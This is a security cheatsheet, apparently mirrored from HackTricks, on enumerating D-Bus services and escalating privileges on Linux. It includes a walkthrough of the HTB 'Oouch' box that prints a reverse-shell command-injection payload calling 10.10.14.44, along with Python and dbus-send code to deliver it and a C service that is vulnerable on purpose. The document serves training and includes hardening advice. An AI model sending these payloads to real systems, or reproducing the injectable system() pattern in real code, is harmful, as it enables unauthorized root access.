daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

d-bus-enumeration-and-command-injection-privilege-escalation.md (32397B)


      1 ---
      2 title: "D-Bus Enumeration & Command Injection Privilege Escalation"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/processes-crontab-systemd-dbus/d-bus-enumeration-and-command-injection-privilege-escalation.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/processes-crontab-systemd-dbus/d-bus-enumeration-and-command-injection-privilege-escalation.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # D-Bus Enumeration & Command Injection Privilege Escalation
     14 
     15 ## **GUI enumeration**
     16 
     17 D-Bus is utilized as the inter-process communications (IPC) mediator in Ubuntu desktop environments. On Ubuntu, the concurrent operation of several message buses is observed: the system bus, primarily utilized by **privileged services to expose services relevant across the system**, and a session bus for each logged-in user, exposing services relevant only to that specific user. The focus here is primarily on the system bus due to its association with services running at higher privileges (e.g., root) as our objective is to elevate privileges. It is noted that D-Bus's architecture employs a 'router' per session bus, which is responsible for redirecting client messages to the appropriate services based on the address specified by the clients for the service they wish to communicate with.<sup>[[1]](#references)</sup>
     18 
     19 Services on D-Bus are defined by the **objects** and **interfaces** they expose. Objects can be likened to class instances in standard OOP languages, with each instance uniquely identified by an **object path**. This path, akin to a filesystem path, uniquely identifies each object exposed by the service. A key interface for research purposes is the **org.freedesktop.DBus.Introspectable** interface, featuring a singular method, Introspect. This method returns an XML representation of the object's supported methods, signals, and properties, with a focus here on methods while omitting properties and signals.
     20 
     21 For communication with the D-Bus interface, two tools were employed: a CLI tool named **gdbus** for easy invocation of methods exposed by D-Bus in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python-based GUI tool designed to enumerate the services available on each bus and to display the objects contained within each service.
     22 
     23 ```bash
     24 sudo apt-get install d-feet
     25 ```
     26 
     27 If you are checking the **session bus**, confirm the current address first:
     28 
     29 ```bash
     30 echo "$DBUS_SESSION_BUS_ADDRESS"
     31 ```
     32 
     33 ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png)
     34 
     35 ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png)
     36 
     37 In the first image services registered with the D-Bus system bus are shown, with **org.debin.apt** specifically highlighted after selecting the System Bus button. D-Feet queries this service for objects, displaying interfaces, methods, properties, and signals for chosen objects, seen in the second image. Each method's signature is also detailed.
     38 
     39 A notable feature is the display of the service's **process ID (pid)** and **command line**, useful for confirming if the service runs with elevated privileges, important for research relevance.
     40 
     41 **D-Feet also allows method invocation**: users can input Python expressions as parameters, which D-Feet converts to D-Bus types before passing to the service.
     42 
     43 However, note that **some methods require authentication** before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place.
     44 
     45 Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not.
     46 
     47 ## **Cmd line Enumeration**
     48 
     49 ### List Service Objects
     50 
     51 It's possible to list opened D-Bus interfaces with:
     52 
     53 ```bash
     54 busctl list #List D-Bus interfaces
     55 
     56 NAME                                   PID PROCESS         USER             CONNECTION    UNIT                      SE
     57 :1.0                                     1 systemd         root             :1.0          init.scope                -
     58 :1.1345                              12817 busctl          qtc              :1.1345       session-729.scope         72
     59 :1.2                                  1576 systemd-timesyn systemd-timesync :1.2          systemd-timesyncd.service -
     60 :1.3                                  2609 dbus-server     root             :1.3          dbus-server.service       -
     61 :1.4                                  2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
     62 :1.6                                  2612 systemd-logind  root             :1.6          systemd-logind.service    -
     63 :1.8                                  3087 unattended-upgr root             :1.8          unattended-upgrades.serv… -
     64 :1.820                                6583 systemd         qtc              :1.820        user@1000.service         -
     65 com.ubuntu.SoftwareProperties            - -               -                (activatable) -                         -
     66 fi.epitest.hostap.WPASupplicant       2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
     67 fi.w1.wpa_supplicant1                 2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
     68 htb.oouch.Block                       2609 dbus-server     root             :1.3          dbus-server.service       -
     69 org.bluez                                - -               -                (activatable) -                         -
     70 org.freedesktop.DBus                     1 systemd         root             -             init.scope                -
     71 org.freedesktop.PackageKit               - -               -                (activatable) -                         -
     72 org.freedesktop.PolicyKit1               - -               -                (activatable) -                         -
     73 org.freedesktop.hostname1                - -               -                (activatable) -                         -
     74 org.freedesktop.locale1                  - -               -                (activatable) -                         -
     75 ```
     76 
     77 Services marked as **`(activatable)`** are especially interesting because they are **not running yet**, but a bus request can start them on demand. Do not stop at `busctl list`; map those names to the actual binaries they would execute.
     78 
     79 ```bash
     80 ls -la /usr/share/dbus-1/system-services/ /usr/share/dbus-1/services/ 2>/dev/null
     81 grep -RInE '^(Name|Exec|User)=' /usr/share/dbus-1/system-services /usr/share/dbus-1/services 2>/dev/null
     82 ```
     83 
     84 That quickly tells you which `Exec=` path will start for an activatable name and under which identity. If the binary or its execution chain is weakly protected, an inactive service can still become a privilege-escalation path.
     85 
     86 #### Connections
     87 
     88 [From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character.<sup>[[4]](#references)</sup>
     89 
     90 ### Service Object Info
     91 
     92 Then, you can obtain some information about the interface with:
     93 
     94 ```bash
     95 busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
     96 
     97 PID=2609
     98 PPID=1
     99 TTY=n/a
    100 UID=0
    101 EUID=0
    102 SUID=0
    103 FSUID=0
    104 GID=0
    105 EGID=0
    106 SGID=0
    107 FSGID=0
    108 SupplementaryGIDs=
    109 Comm=dbus-server
    110 CommandLine=/root/dbus-server
    111 Label=unconfined
    112 CGroup=/system.slice/dbus-server.service
    113 Unit=dbus-server.service
    114 Slice=system.slice
    115 UserUnit=n/a
    116 UserSlice=n/a
    117 Session=n/a
    118 AuditLoginUID=n/a
    119 AuditSessionID=n/a
    120 UniqueName=:1.3
    121 EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
    122         cap_fowner cap_fsetid cap_kill cap_setgid
    123         cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
    124         cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
    125         cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
    126         cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
    127         cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
    128         cap_mknod cap_lease cap_audit_write cap_audit_control
    129         cap_setfcap cap_mac_override cap_mac_admin cap_syslog
    130         cap_wake_alarm cap_block_suspend cap_audit_read
    131 PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
    132         cap_fowner cap_fsetid cap_kill cap_setgid
    133         cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
    134         cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
    135         cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
    136         cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
    137         cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
    138         cap_mknod cap_lease cap_audit_write cap_audit_control
    139         cap_setfcap cap_mac_override cap_mac_admin cap_syslog
    140         cap_wake_alarm cap_block_suspend cap_audit_read
    141 InheritableCapabilities=
    142 BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
    143         cap_fowner cap_fsetid cap_kill cap_setgid
    144         cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
    145         cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
    146         cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
    147         cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
    148         cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
    149         cap_mknod cap_lease cap_audit_write cap_audit_control
    150         cap_setfcap cap_mac_override cap_mac_admin cap_syslog
    151         cap_wake_alarm cap_block_suspend cap_audit_read
    152 ```
    153 
    154 Also correlate the bus name with its `systemd` unit and executable path:
    155 
    156 ```bash
    157 systemctl status dbus-server.service --no-pager
    158 systemctl cat dbus-server.service
    159 namei -l /root/dbus-server
    160 ```
    161 
    162 This answers the operational question that matters during privesc: **if a method call succeeds, which real binary and unit will perform the action?**
    163 
    164 ### List Interfaces of a Service Object
    165 
    166 You need to have enough permissions.
    167 
    168 ```bash
    169 busctl tree htb.oouch.Block #Get Interfaces of the service object
    170 
    171 └─/htb
    172   └─/htb/oouch
    173     └─/htb/oouch/Block
    174 ```
    175 
    176 ### Introspect Interface of a Service Object
    177 
    178 Note how in this example it was selected the latest interface discovered using the `tree` parameter (_see previous section_):
    179 
    180 ```bash
    181 busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
    182 
    183 NAME                                TYPE      SIGNATURE RESULT/VALUE FLAGS
    184 htb.oouch.Block                     interface -         -            -
    185 .Block                              method    s         s            -
    186 org.freedesktop.DBus.Introspectable interface -         -            -
    187 .Introspect                         method    -         s            -
    188 org.freedesktop.DBus.Peer           interface -         -            -
    189 .GetMachineId                       method    -         s            -
    190 .Ping                               method    -         -            -
    191 org.freedesktop.DBus.Properties     interface -         -            -
    192 .Get                                method    ss        v            -
    193 .GetAll                             method    s         a{sv}        -
    194 .Set                                method    ssv       -            -
    195 .PropertiesChanged                  signal    sa{sv}as  -            -
    196 ```
    197 
    198 Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string.
    199 
    200 Before trying anything dangerous, validate a **read-oriented** or otherwise low-risk method first. This separates three cases cleanly: wrong syntax, reachable but denied, or reachable and allowed.
    201 
    202 ```bash
    203 busctl call org.freedesktop.login1 /org/freedesktop/login1 org.freedesktop.login1.Manager CanReboot
    204 gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
    205 ```
    206 
    207 ### Correlate D-Bus Methods with Policies and Actions
    208 
    209 Introspection tells you **what** you can call, but it does not tell you **why** a call is allowed or denied. For real privesc triage you usually need to inspect **three layers together**:
    210 
    211 1. **Activation metadata** (`.service` files or `SystemdService=`) to learn which binary and unit will actually run.
    212 2. **D-Bus XML policy** (`/etc/dbus-1/system.d/`, `/usr/share/dbus-1/system.d/`) to learn who may `own`, `send_destination`, or `receive_sender`.
    213 3. **Polkit action files** (`/usr/share/polkit-1/actions/*.policy`) to learn the default authorization model (`allow_active`, `allow_inactive`, `auth_admin`, `auth_self`, `org.freedesktop.policykit.imply`).
    214 
    215 Useful commands:
    216 
    217 ```bash
    218 grep -RInE '^(Name|Exec|SystemdService|User)=' /usr/share/dbus-1/system-services /usr/share/dbus-1/services 2>/dev/null
    219 grep -RInE '<(allow|deny) (own|send_destination|receive_sender)=|user=|group=' /etc/dbus-1/system.d /usr/share/dbus-1/system.d /etc/dbus-1/system-local.d 2>/dev/null
    220 grep -RInE 'allow_active|allow_inactive|auth_admin|auth_self|org\.freedesktop\.policykit\.imply' /usr/share/polkit-1/actions 2>/dev/null
    221 pkaction --verbose
    222 ```
    223 
    224 Do **not** assume a 1:1 mapping between a D-Bus method and a Polkit action. The same method may choose a different action depending on the object being modified or on runtime context. Therefore the practical workflow is:
    225 
    226 1. `busctl introspect` / `gdbus introspect`
    227 2. `pkaction --verbose` and grep the relevant `.policy` files
    228 3. low-risk live probes with `busctl call`, `gdbus call`, or `dbusmap --enable-probes --null-agent`
    229 
    230 Proxy or compatibility services deserve extra attention. A **root-running proxy** that forwards requests to another D-Bus service over its own pre-established connection can accidentally make the backend treat every request as coming from UID 0 unless the original caller identity is re-validated.<sup>[[3]](#references)</sup>
    231 
    232 ### Monitor/Capture Interface
    233 
    234 With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**.
    235 
    236 In order to **monitor** a **communication** you will need to be **root.** If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
    237 
    238 > [!WARNING]
    239 > If you know how to configure a D-Bus config file to **allow non root users to sniff** the communication please **contact me**!
    240 
    241 Different ways to monitor:
    242 
    243 ```bash
    244 sudo busctl monitor htb.oouch.Block #Monitor only specified
    245 sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
    246 sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
    247 ```
    248 
    249 In the following example the interface `htb.oouch.Block` is monitored and **the message "**_**lalalalal**_**" is sent through miscommunication**:
    250 
    251 ```bash
    252 busctl monitor htb.oouch.Block
    253 
    254 Monitoring bus message stream.
    255 ‣ Type=method_call  Endian=l  Flags=0  Version=1  Priority=0 Cookie=2
    256   Sender=:1.1376  Destination=htb.oouch.Block  Path=/htb/oouch/Block  Interface=htb.oouch.Block  Member=Block
    257   UniqueName=:1.1376
    258   MESSAGE "s" {
    259           STRING "lalalalal";
    260   };
    261 
    262 ‣ Type=method_return  Endian=l  Flags=1  Version=1  Priority=0 Cookie=16  ReplyCookie=2
    263   Sender=:1.3  Destination=:1.1376
    264   UniqueName=:1.3
    265   MESSAGE "s" {
    266           STRING "Carried out :D";
    267   };
    268 ```
    269 
    270 You can use `capture` instead of `monitor` to save the results in a **pcapng** file that Wireshark can open:
    271 
    272 ```bash
    273 sudo busctl capture htb.oouch.Block > dbus-htb.oouch.Block.pcapng
    274 sudo busctl capture > system-bus.pcapng
    275 ```
    276 
    277 #### Filtering all the noise <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
    278 
    279 If there is just too much information on the bus, pass a match rule like so:
    280 
    281 ```bash
    282 dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
    283 ```
    284 
    285 Multiple rules can be specified. If a message matches _any_ of the rules, the message will be printed. Like so:
    286 
    287 ```bash
    288 dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
    289 ```
    290 
    291 ```bash
    292 dbus-monitor "type=method_call" "type=method_return" "type=error"
    293 ```
    294 
    295 See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) for more information on match rule syntax.<sup>[[7]](#references)</sup>
    296 
    297 ### More
    298 
    299 `busctl` has even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html).
    300 
    301 ## **Vulnerable Scenario**
    302 
    303 As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
    304 
    305 ```xml
    306 <?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
    307 
    308 <!DOCTYPE busconfig PUBLIC
    309  "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
    310  "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
    311 
    312 <busconfig>
    313 
    314     <policy user="root">
    315         <allow own="htb.oouch.Block"/>
    316     </policy>
    317 
    318 	<policy user="www-data">
    319 		<allow send_destination="htb.oouch.Block"/>
    320 		<allow receive_sender="htb.oouch.Block"/>
    321 	</policy>
    322 
    323 </busconfig>
    324 ```
    325 
    326 Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication.
    327 
    328 As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code:
    329 
    330 ```python
    331 if primitive_xss.search(form.textfield.data):
    332         bus = dbus.SystemBus()
    333         block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
    334         block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
    335 
    336         client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
    337         response = block_iface.Block(client_ip)
    338         bus.close()
    339         return render_template('hacker.html', title='Hacker')
    340 ```
    341 
    342 As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client_ip".
    343 
    344 In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\
    345 **The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
    346 
    347 ### Exploit it
    348 
    349 At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the `D-Bus object path`** **and `interface name`** are **registered**. This information will be necessary to send information to the D-Bus connection:
    350 
    351 ```c
    352         /* Install the object */
    353         r = sd_bus_add_object_vtable(bus,
    354                                      &slot,
    355                                      "/htb/oouch/Block",  /* interface */
    356                                      "htb.oouch.Block",   /* service object */
    357                                      block_vtable,
    358                                      NULL);
    359 ```
    360 
    361 Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_):
    362 
    363 ```c
    364 SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
    365 ```
    366 
    367 #### Python
    368 
    369 The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_):
    370 
    371 ```python
    372 import dbus
    373 bus = dbus.SystemBus()
    374 block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
    375 block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
    376 runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
    377 response = block_iface.Block(runme)
    378 bus.close()
    379 ```
    380 
    381 #### busctl and dbus-send
    382 
    383 ```bash
    384 dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
    385 ```
    386 
    387 - `dbus-send` is a tool used to send message to “Message Bus”
    388 - Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick.
    389 - “-system” tag is used to mention that it is a system message, not a session message (by default).
    390 - “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format.
    391 - “–dest=Dbus-Interface-Block” The address of the Dbus interface.
    392 - “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command.
    393 
    394 _Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._
    395 
    396 ### C code
    397 
    398 ```c
    399 //sudo apt install pkgconf
    400 //sudo apt install libsystemd-dev
    401 //gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`
    402 
    403 #include <stdio.h>
    404 #include <stdlib.h>
    405 #include <string.h>
    406 #include <errno.h>
    407 #include <unistd.h>
    408 #include <systemd/sd-bus.h>
    409 
    410 static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
    411         char* host = NULL;
    412         int r;
    413 
    414         /* Read the parameters */
    415         r = sd_bus_message_read(m, "s", &host);
    416         if (r < 0) {
    417                 fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
    418                 return r;
    419         }
    420 
    421         char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
    422 
    423         int command_len = strlen(command);
    424         int host_len = strlen(host);
    425 
    426         char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
    427         if(command_buffer == NULL) {
    428                 fprintf(stderr, "Failed to allocate memory\n");
    429                 return -1;
    430         }
    431 
    432         sprintf(command_buffer, command, host);
    433 
    434         /* In the first implementation, we simply ran command using system(), since the expected DBus
    435          * to be threading automatically. However, DBus does not thread and the application will hang
    436          * forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
    437          * multithreading)
    438          */
    439         int pid = fork();
    440 
    441         if ( pid == 0 ) {
    442             /* Here we are in the child process. We execute the command and eventually exit. */
    443             system(command_buffer);
    444             exit(0);
    445         } else {
    446             /* Here we are in the parent process or an error occured. We simply send a genric message.
    447              * In the first implementation we returned separate error messages for success or failure.
    448              * However, now we cannot wait for results of the system call. Therefore we simply return
    449              * a generic. */
    450             return sd_bus_reply_method_return(m, "s", "Carried out :D");
    451         }
    452         r = system(command_buffer);
    453 }
    454 
    455 
    456 /* The vtable of our little object, implements the net.poettering.Calculator interface */
    457 static const sd_bus_vtable block_vtable[] = {
    458         SD_BUS_VTABLE_START(0),
    459         SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
    460         SD_BUS_VTABLE_END
    461 };
    462 
    463 
    464 int main(int argc, char *argv[]) {
    465         /*
    466          * Main method, registeres the htb.oouch.Block service on the system dbus.
    467          *
    468          * Paramaters:
    469          *      argc            (int)             Number of arguments, not required
    470          *      argv[]          (char**)          Argument array, not required
    471          *
    472          * Returns:
    473          *      Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
    474          *      as long as the user keeps it alive.
    475          */
    476 
    477 
    478         /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
    479         signal(SIGCHLD,SIG_IGN);
    480 
    481         sd_bus_slot *slot = NULL;
    482         sd_bus *bus = NULL;
    483         int r;
    484 
    485         /* First we need to connect to the system bus. */
    486         r = sd_bus_open_system(&bus);
    487         if (r < 0)
    488         {
    489                 fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
    490                 goto finish;
    491         }
    492 
    493         /* Install the object */
    494         r = sd_bus_add_object_vtable(bus,
    495                                      &slot,
    496                                      "/htb/oouch/Block",  /* interface */
    497                                      "htb.oouch.Block",   /* service object */
    498                                      block_vtable,
    499                                      NULL);
    500         if (r < 0) {
    501                 fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
    502                 goto finish;
    503         }
    504 
    505         /* Register the service name to find out object */
    506         r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
    507         if (r < 0) {
    508                 fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
    509                 goto finish;
    510         }
    511 
    512         /* Infinite loop to process the client requests */
    513         for (;;) {
    514                 /* Process requests */
    515                 r = sd_bus_process(bus, NULL);
    516                 if (r < 0) {
    517                         fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
    518                         goto finish;
    519                 }
    520                 if (r > 0) /* we processed a request, try to process another one, right-away */
    521                         continue;
    522 
    523                 /* Wait for the next request to process */
    524                 r = sd_bus_wait(bus, (uint64_t) -1);
    525                 if (r < 0) {
    526                         fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
    527                         goto finish;
    528                 }
    529         }
    530 
    531 finish:
    532         sd_bus_slot_unref(slot);
    533         sd_bus_unref(bus);
    534 
    535         return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
    536 }
    537 ```
    538 
    539 ## Automated Enumeration Helpers (2023-2025)
    540 
    541 Enumeration of a large D-Bus attack surface manually with `busctl`/`gdbus` quickly becomes painful. Two small FOSS utilities released in the last few years can speed things up during red-team or CTF engagements:
    542 
    543 ### dbusmap ("Nmap for D-Bus")
    544 * Author: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)<sup>[[5]](#references)</sup>
    545 * Written in C; single static binary (<50 kB) that walks every object path, pulls the `Introspect` XML and maps it to the owning PID/UID.<sup>[[5]](#references)</sup>
    546 * Useful flags:
    547   ```bash
    548   # List every service on the *system* bus and dump all callable methods
    549   sudo dbus-map --dump-methods
    550 
    551   # Actively probe methods/properties you can reach without Polkit prompts
    552   sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
    553   ```
    554 * The tool marks unprotected well-known names with `!`, instantly revealing services you can *own* (take over) or method calls that are reachable from an unprivileged shell.
    555 
    556 ### uptux.py
    557 * Author: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)<sup>[[6]](#references)</sup>
    558 * Python-only script that looks for *writable* paths in systemd units **and** overly-permissive D-Bus policy files (e.g. `send_destination="*"`).<sup>[[6]](#references)</sup>
    559 * Quick usage:
    560   ```bash
    561   python3 uptux.py -n          # run all checks but don’t write a log file
    562   python3 uptux.py -d          # enable verbose debug output
    563   ```
    564 * The D-Bus module searches the directories below and highlights any service that can be spoofed or hijacked by a normal user:
    565   * `/etc/dbus-1/system.d/` and `/usr/share/dbus-1/system.d/`
    566   * `/etc/dbus-1/system-local.d/` (vendor overrides)
    567 
    568 ---
    569 
    570 ## Notable D-Bus Privilege-Escalation Bugs (2024-2025)
    571 
    572 Keeping an eye on recently published CVEs helps spotting similar insecure patterns in custom code. Two good recent examples are:<sup>[[2]](#references)[[3]](#references)</sup>
    573 
    574 | Year | CVE | Component | Root Cause | Offensive lesson |
    575 |------|-----|-----------|------------|------------------|
    576 | 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (`logid`) | The root-running service exposed a D-Bus interface that unprivileged users could reconfigure, including loading attacker-controlled macro behavior. | If a daemon exposes **device/profile/config management** on the system bus, treat writable configuration and macro features as code-execution primitives, not just "settings". |
    577 | 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.19 | A root-running compatibility proxy forwarded requests to backend services without preserving the original caller's security context, so backends trusted the proxy as UID 0. | Treat **proxy / bridge / compatibility** D-Bus services as a separate bug class: if they relay privileged calls, verify how caller UID/Polkit context reaches the backend. |
    578 
    579 Patterns to notice:
    580 1. Service runs **as root on the system bus**.
    581 2. Either there is **no authorization check**, or the check is performed against the **wrong subject**.
    582 3. The reachable method eventually changes system state: package install, user/group changes, bootloader config, device profile updates, file writes, or direct command execution.
    583 
    584 Use `dbusmap --enable-probes` or manual `busctl call` to confirm whether a method is reachable, then inspect the service's policy XML and Polkit actions to understand **which subject** is actually being authorized.
    585 
    586 ---
    587 
    588 ## Hardening & Detection Quick-Wins
    589 
    590 * Search for world-writable or *send/receive*-open policies:
    591   ```bash
    592   grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
    593   ```
    594 * Require Polkit for dangerous methods – even *root* proxies should pass the *caller* PID to `polkit_authority_check_authorization_sync()` instead of their own.
    595 * Drop privileges in long-running helpers (use `sd_pid_get_owner_uid()` to switch namespaces after connecting to the bus).
    596 * If you cannot remove a service, at least *scope* it to a dedicated Unix group and restrict access in its XML policy.
    597 * Blue-team: capture the system bus with `busctl capture > /var/log/dbus_$(date +%F).pcapng` and import it into Wireshark for anomaly detection.
    598 
    599 ---
    600 
    601 ## References
    602 
    603 - [1] [USBCreator D-Bus Privilege Escalation in Ubuntu Desktop](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
    604 - [2] [CVE-2024-45752: D-Bus service allows configuration by any unprivileged user](https://github.com/PixlOne/logiops/issues/473)
    605 - [3] [dde-api-proxy: Authentication Bypass in Deepin D-Bus Proxy Service (CVE-2025-23222)](https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html)
    606 - [4] [D-Bus - Wikipedia](https://en.wikipedia.org/wiki/D-Bus)
    607 - [5] [taviso/dbusmap - "Nmap for D-Bus"](https://github.com/taviso/dbusmap)
    608 - [6] [initstring/uptux](https://github.com/initstring/uptux)
    609 - [7] [dbus.freedesktop.org - D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html)